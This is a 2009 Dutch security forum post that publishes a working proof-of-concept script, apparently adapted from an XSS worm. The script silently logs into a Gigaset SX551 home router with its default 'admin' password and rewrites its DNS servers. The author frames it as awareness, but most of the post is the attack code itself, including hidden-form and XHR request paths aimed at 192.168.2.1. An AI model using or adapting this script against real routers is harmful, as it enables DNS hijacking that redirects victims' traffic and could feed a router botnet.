Computerbeveiliging - Hoe je bad guys buiten de deur houdt

DNS Server "Kaping" d.m.v. XSS [BRONCODE] (werkt op de meeste routers)

13-12-2009, 20:08 door Anoniem, 0 reacties
Antwoord op http://security.nl/artikel/31768/1/is_mijn_modem_zonder_wachtwoord_veilig%3F%3F%3F.html is dus nee de meeste routers zijn kwetsbaar waardoor de default admin pass te resetten is. Ik had rond 15-30 min de tijd dus heb ik een PoC geknutseld voor de Gigaset router waar mijn ouders gebruik van maken, de default password is admin.

Hieronder staat de code en is vrijwel eenvoudig aan te passen zodat het ook werkt op je eigen router, mijn doel is om mensen ervan bewust te maken dat ze hun standaard ingestelde wachtwoord te wijzigen of als er geen wachtwoord aanwezig is er eentje inte stellen. Zoals ik het al zei is het vaak mogelijk om de beveiliging eenvoudig d.m.v. XSS te resetten in dat geval raad ik je aan om een andere router aan te schaffen.

Ik zat te twijfelen of ik de PoC moest posten, want het is slechts een "onschuldige" PoC waardoor je DNS servers worden verwezen naar 1.2.3.4 en 5.6.7.8 maar... hierdoor zou je schade kunnen aanrichten maar het zou ook gebruikt kunnen worden voor educatieve doeleinden en om je website bezoekers te waarschuwen dat hun router kwetsbaar is met de huidige instellingen... maar ook voor kwade doeleinden zoals een router botnet...

Ik wil niet verantwoordelijk worden gesteld voor de schade die wordt aangericht dus laat ik het aan de admin's over of ze dit bericht willen publishen op security.nl

<!--

ScriptName:
DNS Pirate v1.0 Beta

Description:
Gigaset SX551 WLAN dsl (KPN Modem) PoC DNS Server changer
Pref DNS to 1.2.3.4 and Alt DNS to 5.6.7.8
This is a quick & dirty example but it can be more advanced if it get written in PHP with a BruteForce option.

The whole script is ripped from an XSS worm that has been published on milw0rm, I just added an Universal HTML form POST'er if the XHR object fails.

Date:
13-12-2009

Autor:
socialist[A]live.nl

Fix:
Set a difficult password before it get changed by an evil hacker!

-->

<script>
/* Whole code is a rip from milw0rm */

var xmlhttp;

try {
xmlhttp = new XMLHttpRequest();
} catch (e) {
var XHR = new Array('MSXML2.XMLHTTP.5.0',
'MSXML2.XMLHTTP.4.0',
'MSXML2.XMLHTTP.3.0',
'MSXML2.XMLHTTP',
'Microsoft.XMLHTTP');
var success = false;
for (var i=0;i < XHR.length && !success; i++) {
try {
xmlhttp = new ActiveXObject(XHR);
success = true;
} catch (e) {}
}

if (!success) {
//Universal - Work on all browsers if XMLHttpRequest() / XHR object fails
document.write("<scr"+"ipt>"+
"function tryGigaset()"+
"{"+
"\tdocument.Login_Gigaset.submit();"+
"\tsetTimeout(document.Poison_DNS_Gigaset.submit(),4000);"+
"}"+
"</scr"+"ipt>"+
"<img src='http://192.168.2.1/images/siemens.gif' onload='tryGigaset();' width='0' height='0'>"+
"<form name='Login_Gigaset' method='POST' action='http://192.168.2.1/cgi-bin/login.exe'>"+
"<input type='hidden' name='your_password' value='admin'>"+
"</form>"+
"<form name='Poison_DNS_Gigaset' method='POST' action='http://192.168.2.1/cgi-bin/setup_dns.exe'>"+
"<input type='hidden' name='use_custom_dns_servers' value='enabled'>"+
"<input type='hidden' name='preferred_dns_server_1' value='1'>"+
"<input type='hidden' name='preferred_dns_server_2' value='2'>"+
"<input type='hidden' name='preferred_dns_server_3' value='3'>"+
"<input type='hidden' name='preferred_dns_server_4' value='4'>"+
"<input type='hidden' name='alternate_dns_server_1' value='5'>"+
"<input type='hidden' name='alternate_dns_server_2' value='6'>"+
"<input type='hidden' name='alternate_dns_server_3' value='7'>"+
"<input type='hidden' name='alternate_dns_server_4' value='8'>"+
"</form>");

}

}

//Login
var URI ="http://192.168.2.1/cgi-bin/login.exe" ;
var params = "your_password=admin";
xmlhttp.open("POST", URI, true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.setRequestHeader("Content-length", params.length);
xmlhttp.setRequestHeader("Connection", "close");
xmlhttp.send(params);

//Poison DNS Server
var URI ="http://192.168.2.1/cgi-bin/setup_dns.exe" ;
var params = "use_custom_dns_servers=enabled&preferred_dns_server_1=1&preferred_dns_server_2=2&preferred_dns_server_3=3&preferred_dns_server_4=4&alternate_dns_server_1=5&alternate_dns_server_2=6&alternate_dns_server_3=7&alternate_dns_server_4=8";
xmlhttp.open("POST", URI, true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.setRequestHeader("Content-length", params.length);
xmlhttp.setRequestHeader("Connection", "Keep-Alive");
xmlhttp.send(params);
</script>[/code]
Nog geen reacties
Reageren

Deze posting is gelocked. Reageren is niet meer mogelijk.